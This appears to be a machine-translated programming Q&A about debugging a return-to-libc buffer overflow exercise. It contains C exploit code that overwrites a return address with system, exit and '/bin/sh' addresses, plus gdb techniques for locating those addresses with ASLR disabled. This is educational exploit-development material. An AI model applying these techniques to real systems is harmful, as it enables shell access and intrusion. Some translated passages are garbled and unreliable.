返回lib_c缓冲区溢出运行问题

我应该想出一个利用“返回libc缓冲区溢出”的程序。 执行时,它会干净地退出并显示SHELL提示符。 该程序在bash终端中执行。 以下是我的C代码:

#include  int main(int argc, char*argv[]){ char buffer[7]; char buf[42]; int i = 0; while(i < 28) { buf[i] = 'a'; i = i + 1; } *(int *)&buf[28] = 0x4c4ab0; *(int *)&buf[32] = 0x4ba520; *(int *)&buf[36] = 0xbfffff13; strcpy(buffer, buf); return 0; } 

使用gdb ,我已经能够确定以下内容:

  • “system”的地址:0x4c4ab0
  • “退出”的地址:0x4ba520
  • 字符串“/ bin / sh”驻留在内存中:0xbfffff13

我也知道,使用gdb ,在我的缓冲区变量中插入32“A”会覆盖返回地址。 因此,假设系统调用是4个字节,我首先填充28字节的内存“泄漏”。 在第28个字节,我开始我的系统调用,然后退出调用,最后添加我的“/ bin / sh”内存位置。

但是,当我运行程序时,我得到以下内容:

 sh: B   : command not found Segmentation fault (core dumped) 

我真的不确定我做错了什么……

[编辑]:我能够通过导出环境变量获得字符串“/ bin / sh”:

 export MYSHELL="/bin/sh" 

您可以在libc中搜索/ bin / sh字符串的固定地址。 在gdb中运行程序然后:

 > (gdb) break main > > (gdb) run > > (gdb) print &system > $1 = (*) 0xf7e68250  > > (gdb) find &system,+9999999,"/bin/sh" > 0xf7f86c4c > warning: Unable to access target memory at 0xf7fd0fd4, halting search. > 1 pattern found. 

祝好运。

你的程序中的问题是你想指向/bin/sh字符串实际上没有指向/bin/sh指针。

你使用gdb获得这个地址。 但即使没有堆栈随机化,当程序在gdb下运行时,shell变量的堆栈地址也不同于没有gdbgdb将一些调试信息放入堆栈中,这将改变你的shell变量。

在这里说服自己是一个快速而又脏的程序,可以在堆栈中找到/bin/sh字符串:

 #include  #include  int main(void) { char s[] = "/bin/sh"; char *p = (char *) 0xbffff000; while (memcmp(++p, s, sizeof s)); printf("%s\n", p); printf("%p\n", p); } 

首先仔细检查堆栈随机化被禁用:

 ouah@maou:~$ sysctl kernel.randomize_va_space kernel.randomize_va_space = 0 ouah@maou:~$ 

好的,没有堆栈随机化。

让我们编译程序并在gdb外部运行它:

 ouah@maou:~$ gcc -std=c99 tst.c ouah@maou:~$ ./a.out /bin/sh 0xbffff724 ouah@maou:~$ 

现在让我们在gdb下运行它:

 ouah@maou:~$ ./a.out /bin/sh 0xbffff724 ouah@maou:~$ gdb a.out -q Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done. (gdb) r Starting program: /home/ouah/a.out /bin/sh 0xbffff6e4 Program exited normally. (gdb) quit ouah@maou:~$ 

正如您所看到的,当程序在gdb内部或外部运行时, /bin/sh字符串的地址是不同的。

现在你可以做的是使用这个程序的变体来查找字符串的真实地址或更优雅的方法,直接从libc获取/bin/sh字符串的地址(你可以猜到有一些事件)。